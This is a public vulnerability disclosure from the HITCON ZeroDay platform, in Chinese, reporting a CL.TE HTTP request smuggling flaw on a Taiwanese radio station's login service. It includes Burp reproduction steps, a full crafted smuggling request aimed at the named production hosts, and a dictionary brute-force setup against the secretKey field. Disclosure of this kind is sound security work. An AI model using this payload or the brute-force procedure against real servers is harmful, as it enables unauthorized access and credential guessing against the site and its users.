財團法人佳音廣播電台 HTTP Request Smuggling (CL. TE) 漏洞

Vulnerability Overview

ZDID: ZD-2025-00601
發信 Vendor: 財團法人佳音廣播電台
Title: 財團法人佳音廣播電台 HTTP Request Smuggling (CL. TE) 漏洞
Introduction: HTTP Request Smuggling (CL. TE) 漏洞

處理狀態

目前狀態

公開

Last Update : 2025/08/18

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2025/06/18 21:01:39 : 新提交 (由 d3r4ilm3n7 更新此狀態)
2025/06/18 21:03:28 : 新提交 (由 d3r4ilm3n7 更新此狀態)
2025/06/18 21:05:52 : 新提交 (由 d3r4ilm3n7 更新此狀態)
2025/06/18 21:14:18 : 新提交 (由 d3r4ilm3n7 更新此狀態)
2025/06/21 16:58:15 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/06/25 16:23:33 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/06/25 16:23:33 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/06/25 16:23:33 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/08/18 03:00:35 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2025-00601
通報者：abby8050 (d3r4ilm3n7)
風險：中
類型：HTTP Header 注入 (HTTP Header Injection)

參考資料

攻擊者可經由該漏洞將受害者導向至惡意網站或是進行其他攻擊。

漏洞說明： OWASP - Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)
https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)

漏洞說明： HTTP Header Injection
https://www.gracefulsecurity.com/http-header-injection/

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

1.使用 Burp Proxy 將嘗試登入 https://console-s3.goodnews.org.tw/login 的封包攔截複製到 Burp Intruder

2.猜想伺服器前後端設定不一致，前端支援Content-Length，後端支援Transfer-Encoding，修改playload如下所示：

POST /api/v1/login HTTP/1.1
Host: console-s3.goodnews.org.tw
Content-Length: 1000
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-TW,zh;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://console-s3.goodnews.org.tw
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://console-s3.goodnews.org.tw/login
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
Transfer-Encoding: chunked

2A
{"accessKey":"user01","secretKey":"pwd01"}
00

GET / HTTP/1.1
Host: cms.goodnews.org.tw

註：Host:...要保留下一行空行

3.選擇Snipper Attack模式，將playload中的secretKey的值加入Payload position，其Payload type選擇Simple list，再為密碼參數載入任意字典檔。

4.Start Attack後，發現HTTP Response理論上應為登入失敗 (其 status code 設計為500)

5.卻偶有出現 status code 200，這是走私了cms.goodnews.org.tw 的GET請求的HTTP Response的證據

注意：走私的請求緩存在前端伺服器，我們無法確保為伺服器的下個使用者，所以status code 200並非下次一定會出現，Start Attack可能需要重複實驗幾次。